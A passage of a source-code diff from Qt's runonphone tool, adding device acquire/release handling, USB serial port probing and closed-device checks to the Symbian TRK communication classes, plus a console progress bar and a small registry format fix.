+{ + ensureInitialized(); + const int count = d->m_devices.size(); + for (int i = 0; i < count; i++) + if (d->m_devices.at(i).portName() == p) + return i; + return -1; +} + QString SymbianDeviceManager::friendlyNameForPort(const QString &port) const { - foreach (const SymbianDevice &device, d->m_devices) { - if (device.portName() == port) - return device.friendlyName(); - } - return QString(); + const int idx = findByPortName(port); + return idx == -1 ? QString() : d->m_devices.at(idx).friendlyName(); +} + +SymbianDeviceManager::TrkDevicePtr + SymbianDeviceManager::acquireDevice(const QString &port) +{ + ensureInitialized(); + const int idx = findByPortName(port); + if (idx == -1) { + qWarning("Attempt to acquire device '%s' that does not exist.", qPrintable(port)); + if (debug) + qDebug() << *this; + return TrkDevicePtr(); + } + const TrkDevicePtr rc = d->m_devices[idx].acquireDevice(); + if (debug) + qDebug() << "SymbianDeviceManager::acquireDevice" << port << " returns " << !rc.isNull(); + return rc; } void SymbianDeviceManager::update() @@ -217,12 +331,38 @@ void SymbianDeviceManager::update() update(true); } +void SymbianDeviceManager::releaseDevice(const QString &port) +{ + const int idx = findByPortName(port); + if (debug) + qDebug() << "SymbianDeviceManager::releaseDevice" << port << idx << sender(); + if (idx != -1) { + d->m_devices[idx].releaseDevice(); + } else { + qWarning("Attempt to release non-existing device %s.", qPrintable(port)); + } +} + +void SymbianDeviceManager::setAdditionalInformation(const QString &port, const QString &ai) +{ + const int idx = findByPortName(port); + if (idx != -1) + d->m_devices[idx].setAdditionalInformation(ai); +} + +void SymbianDeviceManager::ensureInitialized() const +{ + if (!d->m_initialized) // Flag is set in update() + const_cast<SymbianDeviceManager*>(this)->update(false); +} + void SymbianDeviceManager::update(bool emitSignals) { + static int n = 0; typedef SymbianDeviceList::iterator SymbianDeviceListIterator; if (debug) - qDebug(">SerialDeviceLister::update(%d)\n%s", int(emitSignals), + qDebug(">SerialDeviceLister::update(#%d, signals=%d)\n%s", n++, int(emitSignals), qPrintable(toString())); d->m_initialized = true; @@ -230,8 +370,11 @@ void SymbianDeviceManager::update(bool emitSignals) SymbianDeviceList newDevices = serialPorts() + blueToothDevices(); if (newDevices.size() > 1) qStableSort(newDevices.begin(), newDevices.end()); - if (d->m_devices == newDevices) // Happy, nothing changed. + if (d->m_devices == newDevices) { // Happy, nothing changed. + if (debug) + qDebug("<SerialDeviceLister::update: unchanged\n"); return; + } // Merge the lists and emit the respective added/removed signals, assuming // no one can plug a different device on the same port at the speed of lightning if (!d->m_devices.isEmpty()) { @@ -240,7 +383,8 @@ void SymbianDeviceManager::update(bool emitSignals) if (newDevices.contains(*oldIt)) { ++oldIt; } else { - const SymbianDevice toBeDeleted = *oldIt; + SymbianDevice toBeDeleted = *oldIt; + toBeDeleted.forcedClose(); oldIt = d->m_devices.erase(oldIt); if (emitSignals) emit deviceRemoved(toBeDeleted); @@ -301,16 +445,30 @@ SymbianDeviceManager::SymbianDeviceList SymbianDeviceManager::blueToothDevices() // Bluetooth devices are created on connection. List the existing ones // or at least the first one. const QString prefix = QLatin1String(linuxBlueToothDeviceRootC); - const QString friendlyFormat = QLatin1String("Bluetooth device (%1)"); + const QString blueToothfriendlyFormat = QLatin1String("Bluetooth device (%1)"); for (int d = 0; d < 4; d++) { QScopedPointer<SymbianDeviceData> device(new SymbianDeviceData); device->type = BlueToothCommunication; device->portName = prefix + QString::number(d); if (d == 0 || QFileInfo(device->portName).exists()) { - device->friendlyName = friendlyFormat.arg(device->portName); + device->friendlyName = blueToothfriendlyFormat.arg(device->portName); rc.push_back(SymbianDevice(device.take())); } } + // New kernel versions support /dev/ttyUSB0, /dev/ttyUSB1. Trk responds + // on the latter (usually), try first. + static const char *usbTtyDevices[] = { "/dev/ttyUSB1", "/dev/ttyUSB0" }; + const int usbTtyCount = sizeof(usbTtyDevices)/sizeof(const char *); + for (int d = 0; d < usbTtyCount; d++) { + const QString ttyUSBDevice = QLatin1String(usbTtyDevices[d]); + if (QFileInfo(ttyUSBDevice).exists()) { + SymbianDeviceData *device = new SymbianDeviceData; + device->type = SerialPortCommunication; + device->portName = ttyUSBDevice; + device->friendlyName = QString::fromLatin1("USB/Serial device (%1)").arg(device->portName); + rc.push_back(SymbianDevice(device)); + } + } #endif return rc; } @@ -322,7 +480,7 @@ SymbianDeviceManager *SymbianDeviceManager::instance() return symbianDeviceManager(); } -QDebug operator<<(QDebug d, const SymbianDeviceManager &sdm) +SYMBIANUTILS_EXPORT QDebug operator<<(QDebug d, const SymbianDeviceManager &sdm) { d.nospace() << sdm.toString(); return d; diff --git a/tools/runonphone/symbianutils/symbiandevicemanager.h b/tools/runonphone/symbianutils/symbiandevicemanager.h index dcf131a..180173d 100644 --- a/tools/runonphone/symbianutils/symbiandevicemanager.h +++ b/tools/runonphone/symbianutils/symbiandevicemanager.h @@ -46,12 +46,17 @@ #include <QtCore/QObject> #include <QtCore/QExplicitlySharedDataPointer> +#include <QtCore/QSharedPointer> QT_BEGIN_NAMESPACE class QDebug; class QTextStream; QT_END_NAMESPACE +namespace trk { + class TrkDevice; +} + namespace SymbianUtils { struct SymbianDeviceManagerPrivate; @@ -62,11 +67,16 @@ enum DeviceCommunicationType { BlueToothCommunication = 1 }; -// SymbianDevice, explicitly shared. +// SymbianDevice: Explicitly shared device data and a TrkDevice +// instance that can be acquired (exclusively) for use. +// A device removal from the manager will result in the +// device being closed. class SYMBIANUTILS_EXPORT SymbianDevice { explicit SymbianDevice(SymbianDeviceData *data); friend class SymbianDeviceManager; public: + typedef QSharedPointer<trk::TrkDevice> TrkDevicePtr; + SymbianDevice(); SymbianDevice(const SymbianDevice &rhs); SymbianDevice &operator=(const SymbianDevice &rhs); @@ -77,6 +87,17 @@ public: bool isNull() const; QString portName() const; QString friendlyName() const; + QString additionalInformation() const; + void setAdditionalInformation(const QString &); + + // Acquire: Mark the device as 'out' and return a shared pointer + // unless it is already in use by another owner. The result should not + // be passed on further. + TrkDevicePtr acquireDevice(); + // Give back a device and mark it as 'free'. + void releaseDevice(TrkDevicePtr *ptr = 0); + + bool isOpen() const; // Windows only. QString deviceDesc() const; @@ -86,10 +107,12 @@ public: QString toString() const; private: + void forcedClose(); + QExplicitlySharedDataPointer<SymbianDeviceData> m_data; }; -QDebug operator<<(QDebug d, const SymbianDevice &); +SYMBIANUTILS_EXPORT QDebug operator<<(QDebug d, const SymbianDevice &); inline bool operator==(const SymbianDevice &d1, const SymbianDevice &d2) { return d1.compare(d2) == 0; } @@ -100,13 +123,15 @@ inline bool operator<(const SymbianDevice &d1, const SymbianDevice &d2) /* SymbianDeviceManager: Singleton that maintains a list of Symbian devices. * and emits change signals. - * On Windows, the update slot must be connected to a signal - * emitted from an event handler listening for WM_DEVICECHANGE. */ + * On Windows, the update slot must be connected to a [delayed] signal + * emitted from an event handler listening for WM_DEVICECHANGE. + * Device removal will result in the device being closed. */ class SYMBIANUTILS_EXPORT SymbianDeviceManager : public QObject { Q_OBJECT public: typedef QList<SymbianDevice> SymbianDeviceList; + typedef QSharedPointer<trk::TrkDevice> TrkDevicePtr; static const char *linuxBlueToothDeviceRootC; @@ -120,17 +145,25 @@ public: SymbianDeviceList devices() const; QString toString() const; + // Acquire a device for use. See releaseDevice(). + TrkDevicePtr acquireDevice(const QString &port); + + int findByPortName(const QString &p) const; QString friendlyNameForPort(const QString &port) const; public slots: void update(); + // Relase a device, make it available for further use. + void releaseDevice(const QString &port); + void setAdditionalInformation(const QString &port, const QString &ai); signals: - void deviceRemoved(const SymbianDevice &d); - void deviceAdded(const SymbianDevice &d); + void deviceRemoved(const SymbianUtils::SymbianDevice &d); + void deviceAdded(const SymbianUtils::SymbianDevice &d); void updated(); private: + void ensureInitialized() const; void update(bool emitSignals); SymbianDeviceList serialPorts() const; SymbianDeviceList blueToothDevices() const; @@ -138,7 +171,7 @@ private: SymbianDeviceManagerPrivate *d; }; -QDebug operator<<(QDebug d, const SymbianDeviceManager &); +SYMBIANUTILS_EXPORT QDebug operator<<(QDebug d, const SymbianDeviceManager &); } // namespace SymbianUtils diff --git a/tools/runonphone/symbianutils/trkdevice.cpp b/tools/runonphone/symbianutils/trkdevice.cpp index b327ab3..bd24300 100644 --- a/tools/runonphone/symbianutils/trkdevice.cpp +++ b/tools/runonphone/symbianutils/trkdevice.cpp @@ -52,6 +52,7 @@ #include <QtCore/QMutex> #include <QtCore/QWaitCondition> #include <QtCore/QSharedPointer> +#include <QtCore/QScopedPointer> #include <QtCore/QMetaType> #ifdef Q_OS_WIN @@ -102,6 +103,11 @@ QString winErrorMessage(unsigned long error) enum { verboseTrk = 0 }; +static inline QString msgAccessingClosedDevice(const QString &msg) +{ + return QString::fromLatin1("Error: Attempt to access device '%1', which is closed.").arg(msg); +} + namespace trk { /////////////////////////////////////////////////////////////////////// @@ -155,10 +161,11 @@ namespace trk { /////////////////////////////////////////////////////////////////////// class TrkWriteQueue -{ +{ Q_DISABLE_COPY(TrkWriteQueue) public: explicit TrkWriteQueue(); + void clear(); // Enqueue messages. void queueTrkMessage(byte code, TrkCallback callback, @@ -208,13 +215,24 @@ TrkWriteQueue::TrkWriteQueue() : { } +void TrkWriteQueue::clear() +{ + m_trkWriteToken = 0; + m_trkWriteBusy = false; + m_trkWriteQueue.clear(); + const int discarded = m_writtenTrkMessages.size(); + m_writtenTrkMessages.clear(); + if (verboseTrk) + qDebug() << "TrkWriteQueue::clear: discarded " << discarded; +} + byte TrkWriteQueue::nextTrkWriteToken() { ++m_trkWriteToken; if (m_trkWriteToken == 0) ++m_trkWriteToken; if (verboseTrk) - qDebug() << "Write token: " << m_trkWriteToken; + qDebug() << "nextTrkWriteToken:" << m_trkWriteToken; return m_trkWriteToken; } @@ -349,7 +367,7 @@ class WriterThread : public QThread { Q_OBJECT Q_DISABLE_COPY(WriterThread) -public: +public: explicit WriterThread(const QSharedPointer<DeviceContext> &context); // Enqueue messages. @@ -357,6 +375,8 @@ public: const QByteArray &data, const QVariant &cookie); void queueTrkInitialPing(); + void clearWriteQueue(); + // Call this from the device read notification with the results. void slotHandleResult(const TrkResult &result); @@ -374,7 +394,7 @@ public slots: private slots: void invokeNoopMessage(const trk::TrkMessage &); -private: +private: bool write(const QByteArray &data, QString *errorMessage); inline int writePendingMessage(); @@ -462,6 +482,7 @@ void WriterThread::terminate() m_waitCondition.wakeAll(); wait(); m_terminate = false; + m_queue.clear(); } #ifdef Q_OS_WIN @@ -561,6 +582,13 @@ void WriterThread::queueTrkMessage(byte code, TrkCallback callback, tryWrite(); } +void WriterThread::clearWriteQueue() +{ + m_dataMutex.lock(); + m_queue.clear(); + m_dataMutex.unlock(); +} + void WriterThread::queueTrkInitialPing() { m_dataMutex.lock(); @@ -592,6 +620,8 @@ class ReaderThreadBase : public QThread Q_DISABLE_COPY(ReaderThreadBase) public: + int bytesPending() const { return m_trkReadBuffer.size(); } + signals: void messageReceived(const trk::TrkResult &result, const QByteArray &rawData); @@ -692,7 +722,7 @@ int WinReaderThread::tryRead() if (!ClearCommError(m_context->device, NULL, &comStat)){ emit error(QString::fromLatin1("ClearCommError failed: %1").arg(winErrorMessage(GetLastError()))); return -7; - } + } const DWORD bytesToRead = qMax(DWORD(1), qMin(comStat.cbInQue, DWORD(BufSize))); // Trigger read DWORD bytesRead = 0; @@ -708,7 +738,7 @@ int WinReaderThread::tryRead() if (readError != ERROR_IO_PENDING) { emit error(QString::fromLatin1("Read error: %1").arg(winErrorMessage(readError))); return -1; - } + } // Wait for either termination or data const DWORD wr = WaitForMultipleObjects(HandleCount, m_handles, false, INFINITE); if (wr == WAIT_FAILED) { @@ -783,7 +813,7 @@ private: int m_terminatePipeFileDescriptors[2]; }; -UnixReaderThread::UnixReaderThread(const QSharedPointer<DeviceContext> &context) : +UnixReaderThread::UnixReaderThread(const QSharedPointer<DeviceContext> &context) : ReaderThreadBase(context) { m_terminatePipeFileDescriptors[0] = m_terminatePipeFileDescriptors[1] = -1; @@ -877,8 +907,8 @@ struct TrkDevicePrivate TrkDevicePrivate(); QSharedPointer<DeviceContext> deviceContext; - QSharedPointer<WriterThread> writerThread; - QSharedPointer<ReaderThread> readerThread; + QScopedPointer<WriterThread> writerThread; + QScopedPointer<ReaderThread> readerThread; QByteArray trkReadBuffer; int verbose; @@ -917,14 +947,14 @@ TrkDevice::~TrkDevice() bool TrkDevice::open(QString *errorMessage) { - if (d->verbose) + if (d->verbose || verboseTrk) qDebug() << "Opening" << port() << "is open: " << isOpen() << " serialFrame=" << serialFrame(); + if (isOpen()) + return true; if (d->port.isEmpty()) { *errorMessage = QLatin1String("Internal error: No port set on TrkDevice"); return false; } - - close(); #ifdef Q_OS_WIN const QString fullPort = QLatin1String("\\\\.\\") + d->port; d->deviceContext->device = CreateFile(reinterpret_cast<const WCHAR*>(fullPort.utf16()), @@ -975,7 +1005,7 @@ bool TrkDevice::open(QString *errorMessage) return false; } #endif - d->readerThread = QSharedPointer<ReaderThread>(new ReaderThread(d->deviceContext)); + d->readerThread.reset(new ReaderThread(d->deviceContext)); connect(d->readerThread.data(), SIGNAL(error(QString)), this, SLOT(emitError(QString)), Qt::QueuedConnection); connect(d->readerThread.data(), SIGNAL(messageReceived(trk::TrkResult,QByteArray)), @@ -983,18 +1013,22 @@ bool TrkDevice::open(QString *errorMessage) Qt::QueuedConnection); d->readerThread->start(); - d->writerThread = QSharedPointer<WriterThread>(new WriterThread(d->deviceContext)); + d->writerThread.reset(new WriterThread(d->deviceContext)); connect(d->writerThread.data(), SIGNAL(error(QString)), this, SLOT(emitError(QString)), - Qt::QueuedConnection); - d->writerThread->start(); + Qt::QueuedConnection); + d->writerThread->start(); - if (d->verbose) - qDebug() << "Opened" << d->port; + if (d->verbose || verboseTrk) + qDebug() << "Opened" << d->port << d->readerThread.data() << d->writerThread.data(); return true; } void TrkDevice::close() { + if (verboseTrk) + qDebug() << "close" << d->port << " is open: " << isOpen() + << " read pending " << (d->readerThread.isNull() ? 0 : d->readerThread->bytesPending()) + << sender(); if (!isOpen()) return; if (d->readerThread) @@ -1010,6 +1044,7 @@ void TrkDevice::close() #else d->deviceContext->file.close(); #endif + if (d->verbose) emitLogMessage("Close"); } @@ -1030,6 +1065,8 @@ QString TrkDevice::port() const void TrkDevice::setPort(const QString &p) { + if (verboseTrk) + qDebug() << "setPort" << p; d->port = p; } @@ -1045,6 +1082,8 @@ bool TrkDevice::serialFrame() const void TrkDevice::setSerialFrame(bool f) { + if (verboseTrk) + qDebug() << "setSerialFrame" << f; d->deviceContext->serialFrame = f; } @@ -1060,12 +1099,14 @@ void TrkDevice::setVerbose(int b) void TrkDevice::slotMessageReceived(const trk::TrkResult &result, const QByteArray &rawData) { - d->writerThread->slotHandleResult(result); - if (d->verbose > 1) - qDebug() << "Received: " << result.toString(); - emit messageReceived(result); - if (!rawData.isEmpty()) - emit rawDataReceived(rawData); + if (isOpen()) { // Might receive bytes after closing due to queued connections. + d->writerThread->slotHandleResult(result); + if (d->verbose > 1) + qDebug() << "Received: " << result.toString(); + emit messageReceived(result); + if (!rawData.isEmpty()) + emit rawDataReceived(rawData); + } } void TrkDevice::emitError(const QString &s) @@ -1075,15 +1116,27 @@ void TrkDevice::emitError(const QString &s) emit error(s); } +void TrkDevice::clearWriteQueue() +{ + if (isOpen()) + d->writerThread->clearWriteQueue(); +} + void TrkDevice::sendTrkMessage(byte code, TrkCallback callback, const QByteArray &data, const QVariant &cookie) { + if (!isOpen()) { + emitError(msgAccessingClosedDevice(d->port)); + return; + } if (!d->writerThread.isNull()) { if (d->verbose > 1) { - QByteArray msg = "Sending: "; + QByteArray msg = "Sending: 0x"; msg += QByteArray::number(code, 16); msg += ": "; msg += stringFromArray(data).toLatin1(); + if (cookie.isValid()) + msg += " Cookie: " + cookie.toString().toLatin1(); qDebug("%s", msg.data()); } d->writerThread->queueTrkMessage(code, callback, data, cookie); @@ -1092,12 +1145,20 @@ void TrkDevice::sendTrkMessage(byte code, TrkCallback callback, void TrkDevice::sendTrkInitialPing() { + if (!isOpen()) { + emitError(msgAccessingClosedDevice(d->port)); + return; + } if (!d->writerThread.isNull()) d->writerThread->queueTrkInitialPing(); } bool TrkDevice::sendTrkAck(byte token) { + if (!isOpen()) { + emitError(msgAccessingClosedDevice(d->port)); + return false; + } if (d->writerThread.isNull()) return false; // The acknowledgement must not be queued! diff --git a/tools/runonphone/symbianutils/trkdevice.h b/tools/runonphone/symbianutils/trkdevice.h index 78012fd..1021a7d 100644 --- a/tools/runonphone/symbianutils/trkdevice.h +++ b/tools/runonphone/symbianutils/trkdevice.h @@ -64,12 +64,14 @@ struct TrkDevicePrivate; * Trk communications. Provides synchronous write and asynchronous * read operation. * The serialFrames property specifies whether packets are encapsulated in - * "0x90 <length>" frames, which is currently the case for serial ports. + * "0x90 <length>" frames, which is currently the case for serial ports. * Contains a write message queue allowing * for queueing messages with a notification callback. If the message receives * an ACK, the callback is invoked. - * The special message TRK_WRITE_QUEUE_NOOP_CODE code can be used for synchronisation. - * The respective message will not be sent, the callback is just invoked. */ + * The special message TRK_WRITE_QUEUE_NOOP_CODE code can be used for synchronization. + * The respective message will not be sent, the callback is just invoked. + * Note that calling open/close in quick succession can cause crashes + * due to the use of queused signals. */ enum { TRK_WRITE_QUEUE_NOOP_CODE = 0x7f }; @@ -111,6 +113,9 @@ public: // Send an Ack synchronously, bypassing the queue bool sendTrkAck(unsigned char token); +public slots: + void clearWriteQueue(); + signals: void messageReceived(const trk::TrkResult &result); // Emitted with the contents of messages enclosed in 07e, not for log output diff --git a/tools/runonphone/trksignalhandler.cpp b/tools/runonphone/trksignalhandler.cpp index 18a2c0c..2abf91f 100644 --- a/tools/runonphone/trksignalhandler.cpp +++ b/tools/runonphone/trksignalhandler.cpp @@ -54,6 +54,7 @@ private: QTextStream out; QTextStream err; int loglevel; + int lastpercent; }; void TrkSignalHandler::copyingStarted() @@ -131,7 +132,12 @@ void TrkSignalHandler::applicationOutputReceived(const QString &output) void TrkSignalHandler::copyProgress(int percent) { if (d->loglevel > 0) { - d->out << percent << "% "; + if (d->lastpercent == 0) + d->out << "[ ]\r[" << flush; + while (percent > d->lastpercent) { + d->out << QLatin1Char('#'); + d->lastpercent+=2; //because typical console is 80 chars wide + } d->out.flush(); if (percent==100) d->out << endl; @@ -167,7 +173,8 @@ void TrkSignalHandler::timeout() TrkSignalHandlerPrivate::TrkSignalHandlerPrivate() : out(stdout), err(stderr), - loglevel(0) + loglevel(0), + lastpercent(0) { } diff --git a/tools/shared/windows/registry.cpp b/tools/shared/windows/registry.cpp index d342d78..67d9b56 100644 --- a/tools/shared/windows/registry.cpp +++ b/tools/shared/windows/registry.cpp @@ -148,7 +148,7 @@ QString readRegistryKey(HKEY parentHandle, const QString &rSubkey) } default: - qWarning("QSettings: unknown data %d type in windows registry", dataType); + qWarning("QSettings: unknown data %u type in windows registry", quint32(dataType)); break; } |